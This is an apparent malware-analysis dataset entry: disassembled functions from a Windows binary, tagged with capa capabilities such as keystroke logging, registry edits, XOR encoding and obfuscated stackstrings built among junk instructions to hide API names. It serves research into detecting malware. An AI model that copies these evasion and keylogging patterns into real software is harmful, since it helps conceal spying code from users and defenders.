joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414420
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 0xc], 0
je 0x414548
call fcn.0042d130
mov dword [ebp - 0x10], eax
push 0xf0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4144db
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4144b2
push str.DLGINIT_resource_was_found__but_could_not_be_loaded._n
push 0
mov ecx, 0x10d017c
call fcn.00403730
push eax
push 0x16f
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
lea ecx, [ebp - 0x20]
call fcn.00403690
push eax
call fcn.004036c0
add esp, 0x10
xor eax, eax
jmp 0x4145b6
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4144d9
push 0x175
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
call fcn.004417c0
test eax, eax
je 0x4144d9
int3
jmp 0x414548
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
jne 0x4144fe
push 0x17d
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
call fcn.004417c0
test eax, eax
je 0x4144fe
int3
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0xffffffff
je 0x414548
mov ecx, dword [ebp - 0x18]
cmp dword [ecx], 0
je 0x41453d
push str.Dialog_has_OLE_controls__but_no_matching_DLGINIT_resource._n
push 0
mov ecx, 0x10d017c
call fcn.00403730
push eax
push 0x183
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
lea ecx, [ebp - 0x28]
call fcn.00403690
push eax
call fcn.004036c0
add esp, 0x10
jmp 0x414548
mov edx, dword [ebp - 0x18]
add edx, 4
mov dword [ebp - 0x18], edx
jmp 0x4144fe
mov dword [ebp - 8], 1
cmp dword [ebp - 4], 0
je 0x414571
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x20]
call eax
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x414590
cmp dword [ebp - 0xc], 0
je 0x414590
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00411680
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp + 8]
cmp dword [eax + 0x4c], 0
je 0x4145b3
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x4c]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x4c]
mov edx, dword [eax]
mov eax, dword [edx + 0xa8]
call eax
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x418f10
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x418f40
push 0x45d
push 0x567358
call fcn.004417c0
test eax, eax
je 0x418f40
int3
mov eax, dword [ebp - 8]
cmp dword [eax + 0x50], 0
jne 0x418f86
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x20]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 1
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00423b40
push eax
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x20]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, dword [ebp + 8]
call fcn.004102b0
jmp 0x418fa0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x50]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + 0x50]
mov edx, dword [eax]
mov eax, dword [edx + 0x94]
call eax
mov esp, ebp
pop ebp
ret 4

Function at 0x420650
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
je 0x4206d5
call fcn.0042d130
mov dword [ebp - 0x10], eax
push 0xf0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4206d5
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4206ae
xor eax, eax
jmp 0x420706
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4206d5
push 0x1047
push 0x567358
call fcn.004417c0
test eax, eax
je 0x4206d5
int3
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.00420710
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x420703
cmp dword [ebp - 0xc], 0
je 0x420703
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00411680
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4
Function at 0x42b860
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557a48
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x10ccc5c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x42b8b8
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x50], 0
jne 0x42b8b8
push 0x100
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcwinocc.cpp
call fcn.004417c0
test eax, eax
je 0x42b8b8
int3
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x50], 0
jne 0x42b8da
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x20]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x42b93d
lea ecx, [ebp - 0x10]
call fcn.00403310
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x50]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x50]
mov edx, dword [edx]
mov eax, dword [edx + 0x94]
call eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.004033e0
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0042b950
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00403360
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x45eb10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
and ecx, 1
je 0x45eb31
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
jmp 0x45eb8c
push 5
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x45eb55
call fcn.0043a2f0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x45eb74
call fcn.0043a2f0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x45eb8c
call fcn.0043a2f0
call fcn.004425e0
cmp dword [eax + 0x3c], 0
je 0x45eba6
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
call fcn.0045eac0
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0045e970
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x5c], 0
je 0x45ebd6
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x5c], 0
cmp dword [ebp - 4], 0
je 0x45ebeb
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov dword [edx + 0x5c], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
or ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x497240
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55b558
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x10ccc5c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x24], 0
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
shl eax, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0x10], 0
je 0x497292
mov ecx, dword [ebp - 0x14]
or ecx, 0x1000000
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x1c]
call fcn.00403310
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0x40
mov edx, dword [ebp - 0x18]
shl edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00423b40
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x18]
add ecx, 1
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.004102b0
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x18]
je 0x4972a8
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 8]
call fcn.00410100
mov ecx, dword [ebp - 0x24]
or ecx, 1
mov dword [ebp - 0x24], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00403360
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x4a2c60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55b9c0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x10ccc5c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10]
call fcn.00406ca0
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4a2cee
call fcn.00442810
cmp eax, 1
jne 0x4a2cee
lea ecx, [ebp - 0x10]
push ecx
push str.SoftwareClasses_
lea edx, [ebp - 0x14]
push edx
call fcn.0040fef0
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040bd30
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.00403360
mov dword [ebp + 8], OleUIPasteSpecialA
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x10]
call fcn.004033e0
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00403360
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4a2d30
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55b9f0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x10ccc5c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10]
call fcn.00406ca0
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4a2dbe
call fcn.00442810
cmp eax, 1
jne 0x4a2dbe
lea ecx, [ebp - 0x10]
push ecx
push str.SoftwareClasses_
lea edx, [ebp - 0x14]
push edx
call fcn.0040fef0
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040bd30
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.00403360
mov dword [ebp + 8], OleUIPasteSpecialA
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea ecx, [ebp - 0x10]
call fcn.004033e0
push eax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00403360
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x4a2e10
Capabilities:
Delete registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55ba20
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x10ccc5c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10]
call fcn.00406ca0
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4a2e9e
call fcn.00442810
cmp eax, 1
jne 0x4a2e9e
lea ecx, [ebp - 0x10]
push ecx
push str.SoftwareClasses_
lea edx, [ebp - 0x14]
push edx
call fcn.0040fef0
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040bd30
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.00403360
mov dword [ebp + 8], OleUIPasteSpecialA
lea ecx, [ebp - 0x10]
call fcn.004033e0
push eax
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00403360
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x4c0720
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
call fcn.004bfc10
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
call fcn.0042b0d0
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x4c07ab
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x4c0782
mov eax, dword [ebp - 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, dword [ebp + 0x10]
call fcn.00423b40
push eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x4c079f
push 0x100
push 0xff
mov ecx, dword [ebp + 0x10]
call fcn.004037c0
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, dword [ebp + 0x10]
call fcn.004102b0
jmp 0x4c07dc
mov ecx, dword [ebp + 0x10]
call fcn.004033e0
push eax
push 0xffffffffffffffff
push 0x14d
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x4c07dc
mov ecx, dword [ebp + 0x10]
call fcn.004033e0
push eax
mov edx, dword [ebp - 4]
push edx
call fcn.00446070
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4fde00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10ccc5c]
jne 0x4fde0a
repz ret
jmp fcn.00518e30
Function at 0x5db570
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x13
lea eax, [ebp - 0x1c]
push 0
push eax
call fcn.005dd030
add esp, 0xc
mov esp, esp
and edi, edi
call fcn.005db592

Function at 0x5dd060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xe
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.005dd030
add esp, 0xc
and eax, 0xffffffff
xor edx, esi
xor edx, esi
jne 0x5dd082
jle 0x5dd098
pushf
clc
rol esi, 9
rol esi, 0x17
popf
ja 0x5dd091
jno 0x5dd093
xchg esp, esp
jg 0x5dd098
mov esp, 0x65b073b1
mov cl, 0x73
mov al, 0x65
mov byte [ebp - 7], 0
mov byte [ebp - 0x14], 0x50
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xa], al
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0xe], cl
mov byte [ebp - 9], 0x78
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0xd], 0x33
mov byte [ebp - 8], 0x74
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0xc], 0x32
mov byte [ebp - 0x10], al
mov byte [ebp - 0xb], 0x4e
jle 0x5dd0d2
rol esp, 0
lea esi, [esi + 0x781e]
sub esi, 0x781e
jge 0x5dd0e3
jnp 0x5dd0eb
xchg esp, esp
jp 0x5dd0eb
add eax, 0x5f30e8c3
add byte [eax], al
call fcn.005e3020
mov edx, eax
test edx, edx
jne 0x5dd0ff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor edi, 0x10e8
xor edi, 0x10e8
rol eax, 0xe
ror eax, 0xe
nop
jb 0x5dd11d
jnp 0x5dd116
jl 0x5dd118
mov ecx, ecx
jae 0x5dd11d
mov esi, 0x51ec4d8d
lea ecx, [ebp - 0x14]
push ecx
push edx
call fcn.005e9510
push 0xe
lea edx, [ebp - 0x14]
mov ebx, eax
push 0
push edx
mov dword [ebp - 4], ebx
call fcn.005dd030
add esp, 0xc
test ebx, ebx
jne 0x5dd14b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor edi, esi
xor edi, esi
ror eax, 5
ror eax, 0x1b
sub edx, 0
je 0x5dd177
pushf
push esi
add esi, 0x16fe
ror esi, 0x1f
pop esi
test ebx, 0x4d2f
xchg esp, esp
clc
popf
lea eax, [eax]
jne 0x5dd177
call 0x35f1b9ce
add dword [eax], eax
push ebx
call fcn.005f0710
add esp, 4
jne 0x5dd182
lea edx, [edx]
xchg ebx, eax
xchg ebx, eax
push edx
add edx, 0x77ac
ror edx, 0x18
pop edx
jae 0x5dd19b
xchg esp, esp
jl 0x5dd197
jb 0x5dd19b
add eax, 0xc458b37
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push eax
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x5dfca0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x5d7a70]
push esi
push edi
push eax
push 0x5d8fd9
mov byte [0x5d8fd8], 0x45
call fcn.005df120
mov edx, dword [0x5d7a70]
mov al, 0x2d
mov byte [0x5d8fde], al
mov byte [0x5d8fdf], al
lea eax, [edx + 0x4ed1567b]
mov cl, 0x20
lea edx, [edx + edx*4]
add esp, 8
mov byte [0x5d8fdd], cl
mov byte [0x5d8fe0], cl
mov esi, 0x5d8fe1
xor ecx, ecx
lea edi, [edx + edx*4]
mov edx, eax
imul eax, eax, 0x1003411d
shr edx, 9
add edx, 0x79d11093
xor eax, edx
mov dl, byte [ecx + edi*8 + 0x5c7a69]
xor dl, al
mov byte [esi], dl
inc esi
inc ecx
cmp ecx, 0xc8
jl 0x5dfcef
mov byte [esi], 0
pop edi
mov eax, 0x5d8fd8
pop esi
ret
Function at 0x5e2240
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0
push 0x5d5bd0
call fcn.005fc420
add esp, 0xc
mov byte [0x5d5bd0], 0x80
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
pop ebp
ret

Function at 0x5e2340
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0xc
lea eax, [ebp - 0xc]
push 0
push eax
call fcn.005dd030
add esp, 0xc
rol ecx, 0xe
ror ecx, 0xe
ror ecx, 0x1e
ror ecx, 2
jbe 0x5e2366
jb 0x5e2368
jns 0x5e2373
jns 0x5e236c
jae 0x5e236e
js 0x5e2373
sub eax, 0x74b0e802
mov al, 0x74
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 7], 0x73
mov byte [ebp - 2], al
mov byte [ebp - 0xb], 0x79
mov byte [ebp - 6], 0x70
mov byte [ebp - 1], 0
mov byte [ebp - 0xa], 0x6a
mov byte [ebp - 5], 0x64
mov byte [ebp - 9], 0x75
mov byte [ebp - 4], 0x66
mov byte [ebp - 8], 0x51
mov byte [ebp - 3], al
test dword [esp], esi
jg 0x5e23a8
jge 0x5e23b6
jae 0x5e23ac
jbe 0x5e23ae
mov esi, esi
jns 0x5e23b2
jl 0x5e23b6
mov eax, 0xf4458a76
mov al, byte [ebp - 0xc]
mov bl, byte [ebp - 7]
mov dl, byte [ebp - 2]
mov cl, byte [ebp - 0xb]
dec al
dec bl
mov byte [ebp - 0xc], al
mov al, byte [ebp - 6]
dec dl
mov byte [ebp - 7], bl
mov bl, byte [ebp - 0xa]
mov byte [ebp - 2], dl
mov dl, byte [ebp - 5]
dec cl
dec al
mov byte [ebp - 0xb], cl
mov cl, byte [ebp - 9]
dec bl
mov byte [ebp - 6], al
mov al, byte [ebp - 4]
dec dl
mov byte [ebp - 0xa], bl
mov bl, byte [ebp - 8]
mov byte [ebp - 5], dl
mov dl, byte [ebp - 3]
dec cl
dec al
dec bl
dec dl
mov byte [ebp - 9], cl
mov byte [ebp - 4], al
mov byte [ebp - 8], bl
mov byte [ebp - 3], dl
sub edx, 0
jg 0x5e2420
pushf
jnp 0x5e2417
jp 0x5e2419
popf
jns 0x5e241d
jle 0x5e2420
mov edi, 0xbfbe8
add byte [ebp + 0x5e0675c0], al
call fcn.005e3020
test eax, eax
jne 0x5e242f
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ecx, dword [esp]
jo 0x5e2440
lea ebx, [ebx]
jle 0x5e2438
jge 0x5e243a
jmp 0x5e243c
jno 0x5e2440
or dword [eax - 0x73], 0x5051f44d
lea ecx, [ebp - 0xc]
push ecx
push eax
call fcn.005e9510
push 0xc
lea edx, [ebp - 0xc]
push 0
push edx
mov esi, eax
call fcn.005dd030
add esp, 0xc
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5e3200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xd
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.005dd030
add esp, 0xc
jne 0x5e321b
lea eax, [eax]
ja 0x5e3226
mov eax, eax
jl 0x5e3223
jbe 0x5e3226
call 0x462498da
call 0xeda3ba7f
mov al, 0x66
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x13], al
mov byte [ebp - 0xe], al
mov byte [ebp - 0x17], 0x71
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0xd], 0x42
mov byte [ebp - 0x16], al
mov byte [ebp - 0x11], 0x77
mov byte [ebp - 0xc], 0
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x10], 0x6a
mov byte [ebp - 0x14], 0x54
mov byte [ebp - 0xf], 0x64
nop
and edx, 0xffffffff
js 0x5e3267
nop
lea esp, [esp]
jns 0x5e3267
call 0xe8abbce6
mov cl, byte [ebp - 0x18]
mov al, byte [ebp - 0x13]
mov bl, byte [ebp - 0xe]
mov dl, byte [ebp - 0x17]
dec cl
dec al
mov byte [ebp - 0x18], cl
mov cl, byte [ebp - 0x12]
dec bl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0xd]
dec dl
mov byte [ebp - 0xe], bl
mov bl, byte [ebp - 0x16]
mov byte [ebp - 0x17], dl
mov dl, byte [ebp - 0x11]
dec cl
dec al
mov byte [ebp - 0x12], cl
mov cl, byte [ebp - 0x15]
dec bl
mov byte [ebp - 0xd], al
mov al, byte [ebp - 0x10]
dec dl
mov byte [ebp - 0x16], bl
mov bl, byte [ebp - 0x14]
mov byte [ebp - 0x11], dl
mov dl, byte [ebp - 0xf]
dec cl
dec al
dec bl
dec dl
mov byte [ebp - 0x15], cl
mov byte [ebp - 0x10], al
mov byte [ebp - 0x14], bl
mov byte [ebp - 0xf], dl
jle 0x5e32c9
jnp 0x5e32cb
jnp 0x5e32d2
jl 0x5e32cf
jp 0x5e32d2
mov esp, 0xfffaa9e8
inc dword [ebp - 0x3ba7640]
call 0x5e2d80
test eax, eax
mov dword [ebp - 4], eax
jne 0x5e32e7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
nop
sub edi, 0
xor edx, dword [esp + 0xc]
xor edx, dword [esp + 0xc]
jne 0x5e330b
pushf
test esi, ebx
call fcn.005e32fe